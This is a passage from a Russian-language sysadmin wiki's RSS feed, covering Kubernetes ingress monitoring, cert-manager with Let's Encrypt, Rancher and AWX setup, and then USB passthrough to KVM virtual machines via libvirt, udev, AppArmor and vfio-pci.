    serviceMonitor:
      enabled: true
      additionalLabels:
        jobLabel: nginx-ingress
      namespace: &amp;quot;ingress&amp;quot;
      namespaceSelector:
        matchNames:
          - ingress
      scrapeInterval: 30s

    prometheusRule:
      enabled: true
      namespace: ingress
      rules:
        - alert: NGINXConfigFailed
          expr: count(nginx_ingress_controller_config_last_reload_successful == 0) &amp;gt; 0
          for: 1s
          labels:
            severity: critical
          annotations:
            description: bad ingress config - nginx config test failed
            summary: uninstall the latest ingress changes to allow config reloads to resume
        - alert: NGINXCertificateExpiry
          expr: (avg(nginx_ingress_controller_ssl_expire_time_seconds) by (host) - time()) &amp;lt; 604800
          for: 1s
          labels:
            severity: critical
          annotations:
            description: ssl certificate(s) will expire in less then a week
            summary: renew expiring certificates to avoid downtime
        - alert: NGINXTooMany500s
          expr: 100 * ( sum( nginx_ingress_controller_requests{status=~&amp;quot;5.+&amp;quot;} ) / sum(nginx_ingress_controller_requests) ) &amp;gt; 5
          for: 1m
          labels:
            severity: warning
          annotations:
            description: Too many 5XXs
            summary: More than 5% of all requests returned 5XX, this requires your attention
        - alert: NGINXTooMany400s
          expr: 100 * ( sum( nginx_ingress_controller_requests{status=~&amp;quot;4.+&amp;quot;} ) / sum(nginx_ingress_controller_requests) ) &amp;gt; 5
          for: 1m
          labels:
            severity: warning
          annotations:
            description: Too many 4XXs
            summary: More than 5% of all requests returned 4XX, this requires your attention&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;helm upgrade --reuse-values -n ingress nginx ingress-nginx/ingress-nginx -f ./nginx-ingress-monitoring-values.yaml&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 nginx ingess&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433_nginx_ingess&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:19,&amp;quot;range&amp;quot;:&amp;quot;14553-17061&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit20&quot; id=&quot;cert_manager&quot;&gt;Cert manager&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://cert-manager.io/docs/installation/helm/&quot; class=&quot;urlextern&quot; title=&quot;https://cert-manager.io/docs/installation/helm/&quot; rel=&quot;ugc nofollow&quot;&gt;https://cert-manager.io/docs/installation/helm/&lt;/a&gt; &lt;br/&gt;

Устанавливаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl create namespace cert-manager
helm repo add jetstack https://charts.jetstack.io
helm repo update

helm upgrade --install \
  cert-manager jetstack/cert-manager \
  --namespace cert-manager \
  --create-namespace \
  --set installCRDs=true \
  --version v1.14.4 \
  --set prometheus.enabled=false&lt;/pre&gt;

&lt;p&gt;
&lt;a href=&quot;https://docs.cert-manager.io/en/latest/tasks/issuers/index.html&quot; class=&quot;urlextern&quot; title=&quot;https://docs.cert-manager.io/en/latest/tasks/issuers/index.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://docs.cert-manager.io/en/latest/tasks/issuers/index.html&lt;/a&gt; &lt;br/&gt;

Создаем издателя &lt;strong&gt;Let&amp;#039;s Encrypt&lt;/strong&gt; (ACME Issuer):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl apply -f - &amp;lt;&amp;lt; EOF
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: letsencrypt
spec:
  acme:
    # You must replace this email address with your own.
    # Let&amp;#039;s Encrypt will use this to contact you about expiring
    # certificates, and issues related to your account.
    email: mike@autosys.tk
    server: https://acme-v02.api.letsencrypt.org/directory
    privateKeySecretRef:
      # Secret resource used to store the account&amp;#039;s private key.
      name: cert-issuer-account-key
    # Add a single challenge solver, HTTP01 using nginx
    solvers:
    - http01:
        ingress:
          class: nginx
EOF&lt;/pre&gt;

&lt;p&gt;
Смотрим на его состояние:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl describe clusterissuer letsencrypt&lt;/pre&gt;

&lt;p&gt;
Должно быть так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Status:
  ...
  Conditions:
    ...
    Status:                True
    Type:                  Ready&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Cert manager&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;cert_manager&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:8,&amp;quot;secid&amp;quot;:20,&amp;quot;range&amp;quot;:&amp;quot;17062-18504&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit21&quot; id=&quot;апгрейдим_cert-manager&quot;&gt;Апгрейдим cert-manager&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;helm repo update
helm upgrade --namespace cert-manager cert-manager jetstack/cert-manager --reuse-values&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c cert-manager&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u043f\u0433\u0440\u0435\u0439\u0434\u0438\u043c_cert-manager&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:11,&amp;quot;secid&amp;quot;:21,&amp;quot;range&amp;quot;:&amp;quot;18505-18655&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit22&quot; id=&quot;ingress_cert-manager_и_сертификаты_let_s_encrypt&quot;&gt;Ingress, Cert-Manager и сертификаты Let&amp;#039;s Encrypt&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;del&gt;&lt;a href=&quot;https://docs.cert-manager.io/en/latest/getting-started/install/kubernetes.html&quot; class=&quot;urlextern&quot; title=&quot;https://docs.cert-manager.io/en/latest/getting-started/install/kubernetes.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://docs.cert-manager.io/en/latest/getting-started/install/kubernetes.html&lt;/a&gt;&lt;/del&gt;&lt;br/&gt;

&lt;del&gt;&lt;a href=&quot;https://docs.bitnami.com/kubernetes/how-to/secure-kubernetes-services-with-ingress-tls-letsencrypt/#step-3-configure-tls-with-let-s-encrypt-certificates-and-cert-manager&quot; class=&quot;urlextern&quot; title=&quot;https://docs.bitnami.com/kubernetes/how-to/secure-kubernetes-services-with-ingress-tls-letsencrypt/#step-3-configure-tls-with-let-s-encrypt-certificates-and-cert-manager&quot; rel=&quot;ugc nofollow&quot;&gt;https://docs.bitnami.com/kubernetes/how-to/secure-kubernetes-services-with-ingress-tls-letsencrypt/#step-3-configure-tls-with-let-s-encrypt-certificates-and-cert-manager&lt;/a&gt;&lt;/del&gt;&lt;br/&gt;

&lt;a href=&quot;https://docs.cert-manager.io/en/latest/tutorials/acme/quick-start/#&quot; class=&quot;urlextern&quot; title=&quot;https://docs.cert-manager.io/en/latest/tutorials/acme/quick-start/#&quot; rel=&quot;ugc nofollow&quot;&gt;https://docs.cert-manager.io/en/latest/tutorials/acme/quick-start/#&lt;/a&gt;&lt;br/&gt;

&lt;a href=&quot;https://cert-manager.io/docs/installation/helm/&quot; class=&quot;urlextern&quot; title=&quot;https://cert-manager.io/docs/installation/helm/&quot; rel=&quot;ugc nofollow&quot;&gt;https://cert-manager.io/docs/installation/helm/&lt;/a&gt; &lt;br/&gt;

Итак, у нас установлен &lt;strong&gt;MetalLB&lt;/strong&gt;, &lt;strong&gt;Ingress Controller&lt;/strong&gt; и &lt;strong&gt;CertManager&lt;/strong&gt;. &lt;br/&gt;

В результате, сервис &lt;strong&gt;Ingress Controller&lt;/strong&gt; должен получить адрес в локальной (или нелокальной сети) из диапазона, прописанного в конфигурации &lt;strong&gt;MetalLB&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# kubectl get svc -n ingress
NAME                                       TYPE           CLUSTER-IP       EXTERNAL-IP      PORT(S)                      AGE
http-https-nginx-ingress-controller        LoadBalancer   10.100.109.113   192.168.77.160   80:31833/TCP,443:32690/TCP   5h1m
http-https-nginx-ingress-default-backend   ClusterIP      10.107.152.17    &amp;lt;none&amp;gt;           80/TCP                       5h1m&lt;/pre&gt;

&lt;p&gt;
Для примера буду делат доступ к &lt;strong&gt;AWX&lt;/strong&gt;, который установлен в моем кластере &lt;strong&gt;Kubernetes&lt;/strong&gt;. &lt;br/&gt;

В неймспейсе, куда развернут &lt;strong&gt;AWX&lt;/strong&gt; (в моем случае это &lt;strong&gt;awx&lt;/strong&gt;) делаем &lt;strong&gt;ingress&lt;/strong&gt;, который будет направлять запросы в соотвествующий сервис, где работает web-морда &lt;strong&gt;AWX&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
  name: awx-web
  namespace: awx
spec:
  rules:
  - host: awx.autosys.tk
    http:
      paths:
      - backend:
          serviceName: awx-web-svc
          servicePort: 80
        path: /
  tls:
  - hosts:
    - awx.autosys.tk
    secretName: awx-autosys-tk-tls&lt;/pre&gt;

&lt;p&gt;
В результате, HTTP-запросы на &lt;strong&gt;IP&lt;/strong&gt;-адрес &lt;strong&gt;Ingress&lt;/strong&gt;-контроллера будут перенаправлены на сервис web-морды AWX. &lt;br/&gt;

&lt;br/&gt;

Теперь нужно сконфигурировать &lt;strong&gt;ACME Issuer&lt;/strong&gt; - это сущность, которая будет запрашивать сертификаты по протоколу &lt;strong&gt;ACME&lt;/strong&gt; у серверов &lt;strong&gt;Let&amp;#039;s Encrypt&lt;/strong&gt;: &lt;br/&gt;

&lt;a href=&quot;https://cert-manager.io/docs/configuration/acme/&quot; class=&quot;urlextern&quot; title=&quot;https://cert-manager.io/docs/configuration/acme/&quot; rel=&quot;ugc nofollow&quot;&gt;https://cert-manager.io/docs/configuration/acme/&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl apply -f - &amp;lt;&amp;lt; EOF
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: letsencrypt
spec:
  acme:
    # You must replace this email address with your own.
    # Let&amp;#039;s Encrypt will use this to contact you about expiring
    # certificates, and issues related to your account.
    email: mike@autosys.tk
    server: https://acme-staging-v02.api.letsencrypt.org/directory
    privateKeySecretRef:
      # Secret resource that will be used to store the account&amp;#039;s private key.
      name: letsencrypt-issuer-account-key
    # Add a single challenge solver, HTTP01 using nginx
    solvers:
    - http01:
        ingress:
          class: nginx
EOF&lt;/pre&gt;

&lt;p&gt;
После того, как создан &lt;strong&gt;Issuer&lt;/strong&gt; (в данном случае - &lt;strong&gt;ClusterIssuer&lt;/strong&gt; с именем &lt;strong&gt;letsencrypt&lt;/strong&gt;) можно добавить в манифест ингресса информацию о нем. Редактируем ресурс &lt;strong&gt;Ingress&lt;/strong&gt; и приводим секцию &lt;strong&gt;annotations&lt;/strong&gt; к виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kind: Ingress
metadata:
  annotations:
    cert-manager.io/cluster-issuer: letsencrypt
    kubernetes.io/ingress.class: nginx
  name: awx-web
  namespace: awx&lt;/pre&gt;

&lt;p&gt;
Все. Теперь можно увидеть, что появился сертификат: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl get certificate -A&lt;/pre&gt;

&lt;p&gt;
Если сертификат долго не готов, то нужно смотреть логи пода &lt;strong&gt;cert-manager&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl get po -n cert-manager
kubectl logs cert-manager-55c44f98f-g9vrb -n cert-manager -f&lt;/pre&gt;

&lt;p&gt;
У меня, например, возникали проблемы с резолвингом доменнного имени, для которого получаем сертификат в поде &lt;strong&gt;cert-manager&lt;/strong&gt;, хотя из интернета имя резолвилось корректно и маршрутизация трафика работала нормально, но &lt;strong&gt;cert-manager&lt;/strong&gt;, перед тем как запросить проверку у ACME-сервера, пытается сам убедиться, что проверка проходит, но так как имя в локалке не резолвилось корректно, то проверка не прошла.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Ingress, Cert-Manager \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b Let&amp;#039;s Encrypt&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ingress_cert-manager_\u0438_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b_let_s_encrypt&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:11,&amp;quot;secid&amp;quot;:22,&amp;quot;range&amp;quot;:&amp;quot;18656-23458&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit23&quot; id=&quot;rancher&quot;&gt;Rancher&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt;Rancher&lt;/strong&gt; - это web-консоль для управления кластеами &lt;strong&gt;kubernetes&lt;/strong&gt;. Устанавливать осторожно, поскольку она ставит с кластер много всякого и полностью удалить ее может быть проблематично. &lt;br/&gt;

&lt;a href=&quot;https://rancher.com/docs/rancher/v2.x/en/installation/ha/helm-rancher/&quot; class=&quot;urlextern&quot; title=&quot;https://rancher.com/docs/rancher/v2.x/en/installation/ha/helm-rancher/&quot; rel=&quot;ugc nofollow&quot;&gt;https://rancher.com/docs/rancher/v2.x/en/installation/ha/helm-rancher/&lt;/a&gt; &lt;br/&gt;

Если у нас уже установлены &lt;strong&gt;MetalLB&lt;/strong&gt;, &lt;strong&gt;Ingress Controller&lt;/strong&gt; и &lt;strong&gt;Cert-Manager&lt;/strong&gt;, то можно ставить так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;helm install rancher-latest/rancher --name rancher --namespace cattle-system --set hostname=rancher.autosys.tk --set ingress.tls.source=letsEncrypt --set letsEncrypt.email=mike@autosys.tk&lt;/pre&gt;

&lt;p&gt;
В моем случае, &lt;strong&gt;helm&lt;/strong&gt; ругнулся:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Error: validation failed: unable to recognize &amp;quot;&amp;quot;: no matches for kind &amp;quot;Issuer&amp;quot; in version &amp;quot;certmanager.k8s.io/v1alpha1&amp;quot;&lt;/pre&gt;

&lt;p&gt;
После этого я скачал чарт:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;helm fetch rancher-latest/rancher&lt;/pre&gt;

&lt;p&gt;
Распаковал его:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar -xvf ./rancher-2.3.0.tgz&lt;/pre&gt;

&lt;p&gt;
И просто удалил файл, который создает &lt;strong&gt;Issuer&lt;/strong&gt;, так как у меня в кластере уже есть &lt;strong&gt;ClusterIssuer&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rm ./rancher/templates/issuer-letsEncrypt.yaml&lt;/pre&gt;

&lt;p&gt;
Затем запаковал чарт обратно и установил его:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mv ./rancher-2.3.0.tgz ./rancher-2.3.0.tgz.orig
helm package rancher
helm install ./rancher-2.3.0.tgz --name rancher --namespace cattle-system --set hostname=rancher.autosys.tk --set ingress.tls.source=letsEncrypt --set letsEncrypt.email=mike@autosys.tk&lt;/pre&gt;

&lt;p&gt;
В итоге &lt;strong&gt;rancher&lt;/strong&gt; установился нормально! &lt;br/&gt;

Затем я отредактировал &lt;strong&gt;ingress&lt;/strong&gt;, заменив issuer:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;certmanager.k8s.io/issuer: rancher&lt;/pre&gt;

&lt;p&gt;
на уже существующий в кластере:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  cert-manager.io/cluster-issuer: letsencrypt
  kubernetes.io/ingress.class: nginx&lt;/pre&gt;

&lt;p&gt;
Залогиниться в первый раз можно с помощью логина/пароля admin/admin.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Rancher&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;rancher&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:15,&amp;quot;secid&amp;quot;:23,&amp;quot;range&amp;quot;:&amp;quot;23459-25538&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit24&quot; id=&quot;awx_on_single_nodes_kubernetes&quot;&gt;awx on single nodes kubernetes&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для базы данных я использую внешний сервер &lt;strong&gt;postgres&lt;/strong&gt;, то есть &lt;strong&gt;StorageClass&lt;/strong&gt; и &lt;strong&gt;PersistentVolume&lt;/strong&gt; для базы мне не нужны. &lt;br/&gt;

После запуска playbook&amp;#039;a будет создан &lt;strong&gt;StatefullSet&lt;/strong&gt;. Однако, если нода достаточно слабая, то под не запустится, потому что не хватит ресурсов. Нужно удалить все объекты &lt;strong&gt;resources&lt;/strong&gt; с резервированием и лимитами ресурсов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl edit sts awx -n awx&lt;/pre&gt;

&lt;p&gt;
Также, нода будет иметь &lt;strong&gt;taint&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;taints:
- effect: NoSchedule
  key: node.kubernetes.io/disk-pressure
  timeAdded: &amp;quot;2019-10-01T12:28:30Z&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Чтобы под запустился нужно добавить в конфигурацию &lt;strong&gt;StatefullSet&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl edit sts awx -n awx&lt;/pre&gt;

&lt;p&gt;
соответствующий &lt;strong&gt;toleration&lt;/strong&gt; (в &lt;strong&gt;&lt;abbr title=&quot;specification&quot;&gt;spec&lt;/abbr&gt;:template:&lt;abbr title=&quot;specification&quot;&gt;spec&lt;/abbr&gt;:&lt;/strong&gt;. Например - перед &lt;strong&gt;volumes&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;      tolerations:
      - effect: NoSchedule
        operator: Exists&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;awx on single nodes kubernetes&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;awx_on_single_nodes_kubernetes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:15,&amp;quot;secid&amp;quot;:24,&amp;quot;range&amp;quot;:&amp;quot;25539-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 22 Apr 2024 12:38:23 +0000</pubDate>
        </item>
        <item>
            <title>kvm_usb_hotplug</title>
            <link>https://wiki.autosys.tk/linux_faq/kvm_usb_hotplug</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;подключение_и_отключение_usb_устройств_к_виртуальной_машине_kvm&quot;&gt;Подключение и отключение USB устройств к виртуальной машине KVM&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Подключаем устрйоство к хосту с KVM и смотрим как оно определилось:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ lsusb
Bus 004 Device 024: ID 11a0:eb20 Chipcon AS&lt;/pre&gt;

&lt;p&gt;
Тут нас интересуют номер шины и номер устройства: &lt;strong&gt;Bus 004 Device 024:&lt;/strong&gt;
На основании этих сведений создаем файлик *.xml:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;lt;hostdev mode=&amp;#039;subsystem&amp;#039; type=&amp;#039;usb&amp;#039; managed=&amp;#039;yes&amp;#039;&amp;gt;
  &amp;lt;source&amp;gt;
    &amp;lt;address bus=&amp;#039;4&amp;#039; device=&amp;#039;24&amp;#039;/&amp;gt;
  &amp;lt;/source&amp;gt;
&amp;lt;/hostdev&amp;gt;&lt;/pre&gt;

&lt;p&gt;
Также вместо положения на шине можно указывать &lt;strong&gt;VendorID&lt;/strong&gt; и &lt;strong&gt;DeviceID&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;lt;hostdev mode=&amp;#039;subsystem&amp;#039; type=&amp;#039;usb&amp;#039;&amp;gt;
  &amp;lt;source&amp;gt;
    &amp;lt;vendor id=&amp;#039;0x03f0&amp;#039;/&amp;gt;
    &amp;lt;product id=&amp;#039;0x4217&amp;#039;/&amp;gt;
  &amp;lt;/source&amp;gt;
&amp;lt;/hostdev&amp;gt;&lt;/pre&gt;

&lt;p&gt;
Нули из номера шины и номера девайса нужно убрать.
&lt;/p&gt;

&lt;p&gt;
Теперь запускаем машину и узнаем ее мя:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ virsh list
 Id    Name                           State
----------------------------------------------------
 2     Windows_7_x64_Ent_RUS          running&lt;/pre&gt;

&lt;p&gt;
Теперь подключаем устройство:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;virsh attach-device &amp;lt;VM name&amp;gt; &amp;lt;file&amp;gt;&lt;/pre&gt;

&lt;p&gt;
То есть в моем случае:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ virsh attach-device Windows_7_x64_Ent_RUS ./progr.xml 
Device attached successfully&lt;/pre&gt;

&lt;p&gt;
Ну и самое интересное - оформление правил &lt;strong&gt;udev&lt;/strong&gt; для автоматического подключения устройств.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/etc/udev/rules.d/90-libvirt-usb.rules

ACTION==&amp;quot;add&amp;quot;, \
    SUBSYSTEM==&amp;quot;usb&amp;quot;, \
    ENV{ID_VENDOR_ID}==&amp;quot;03f0&amp;quot;, \
    ENV{ID_MODEL_ID}==&amp;quot;4217&amp;quot;, \
    RUN+=&amp;quot;/usr/bin/virsh attach-device GUESTNAME /path/to/hostdev-03f0:4217.xml&amp;quot;
ACTION==&amp;quot;remove&amp;quot;, \
    SUBSYSTEM==&amp;quot;usb&amp;quot;, \
    ENV{ID_VENDOR_ID}==&amp;quot;03f0&amp;quot;, \
    ENV{ID_MODEL_ID}==&amp;quot;4217&amp;quot;, \
    RUN+=&amp;quot;/usr/bin/virsh detach-device GUESTNAME /path/to/hostdev-03f0:4217.xml&amp;quot;
&lt;/pre&gt;

&lt;p&gt;
И перечитать правила:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo udevadm control --reload-rules &amp;amp;&amp;amp; sudo udevadm trigger&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 USB \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043a \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 KVM&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_\u0438_\u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_usb_\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432_\u043a_\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439_\u043c\u0430\u0448\u0438\u043d\u0435_kvm&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-2154&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;ошибки&quot;&gt;Ошибки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Если при попытке проброса устройства команда выполняется без ошибок с рузультатом:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Device attached successfully&lt;/pre&gt;

&lt;p&gt;
в гостевой машине ничего не появляется, при этом в журнале хоста KVM есть ошибки типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apparmor=&amp;quot;DENIED&amp;quot; operation=&amp;quot;open&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Значит на хосте KVM в файлике &lt;strong&gt;/etc/apparmor.d/abstractions/libvirt-qemu&lt;/strong&gt; нужно сделать некторые изменения: &lt;br/&gt;

Строку &lt;strong&gt;/dev/bus/usb/ r,&lt;/strong&gt; привести к виду: &lt;strong&gt;/dev/bus/usb/ rw,&lt;/strong&gt; &lt;br/&gt;

И еще добавить пару строк:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/dev/bus/usb/*/[0-9]* rw,
/run/udev/** rw,  &lt;/pre&gt;

&lt;p&gt;
То есть выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp /etc/apparmor.d/abstractions/libvirt-qemu ~/libvirt-qemu.backup
sudo sed -i &amp;#039;s/\/dev\/bus\/usb\/\ r,/\/dev\/bus\/usb\/\ rw,/&amp;#039; /etc/apparmor.d/abstractions/libvirt-qemu
sudo sed -i &amp;#039;\/dev\/bus\/usb\/\ rw,/ a\/dev\/bus\/usb\/\*\/\[0-9\]\* rw,&amp;#039; /etc/apparmor.d/abstractions/libvirt-qemu
sudo sed -i &amp;#039;\/dev\/bus\/usb\/\ rw,/ a\/run\/udev\/\*\* rw,&amp;#039; /etc/apparmor.d/abstractions/libvirt-qemu&lt;/pre&gt;

&lt;p&gt;
И перезапустить сервисы (или перезагрузить хост):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service apparmor restart
sudo service libvirtd restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0448\u0438\u0431\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0448\u0438\u0431\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2155-3496&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;подключение_всего_usb-хоста_к_виртуалке&quot;&gt;Подключение всего USB-хоста к виртуалке&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Определяем на каком хосте работает USB-устройство:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lsusb
...
Bus 001 Device 002: ID 0e8d:20ff MediaTek Inc. Android&lt;/pre&gt;

&lt;p&gt;
Определяем номер устройства на шине PCI:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ readlink /sys/bus/usb/devices/usb*
../../../devices/pci0000:00/0000:00:08.1/0000:03:00.3/usb1
../../../devices/pci0000:00/0000:00:08.1/0000:03:00.3/usb2
../../../devices/pci0000:00/0000:00:08.1/0000:03:00.4/usb3
../../../devices/pci0000:00/0000:00:08.1/0000:03:00.4/usb4&lt;/pre&gt;

&lt;p&gt;
Кажется в моем случае это Bus 001 → /devices/pci0000:00/0000:00:08.1/0000:03:00.3/usb1
&lt;/p&gt;

&lt;p&gt;
Смотрим какой модуль ядра рулит этим девайсом:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ls /sys/bus/pci/drivers/*_hcd/
...

/sys/bus/pci/drivers/xhci_hcd/:
0000:03:00.3  0000:03:00.4  bind  module  new_id  remove_id  uevent  unbind&lt;/pre&gt;

&lt;p&gt;
Отключаем и подключаем к &lt;strong&gt;vfio-pci&lt;/strong&gt; &lt;a href=&quot;https://01.org/linuxgraphics/gfx-docs/drm/driver-api/vfio.html&quot; class=&quot;urlextern&quot; title=&quot;https://01.org/linuxgraphics/gfx-docs/drm/driver-api/vfio.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://01.org/linuxgraphics/gfx-docs/drm/driver-api/vfio.html&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo su
modprobe vfio-pci
lspci -n -s 0000:03:00.3
...
03:00.3 0c03: 1022:1639
...
echo 0000:03:00.3 &amp;gt; /sys/bus/pci/devices/0000:03:00.3/driver/unbind

lspci -n -s 0000:03:00.3
...
03:00.3 0c03: 1022:1639
...

echo 1022 1639 &amp;gt; /sys/bus/pci/drivers/vfio-pci/new_id
echo -n &amp;quot;0000:03:00.3&amp;quot; &amp;gt; /sys/bus/pci/drivers/vfio-pci/bind&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;ls -l /sys/bus/pci/devices/0000:03:00.3/iommu_group/devices&lt;/pre&gt;

&lt;/div&gt;
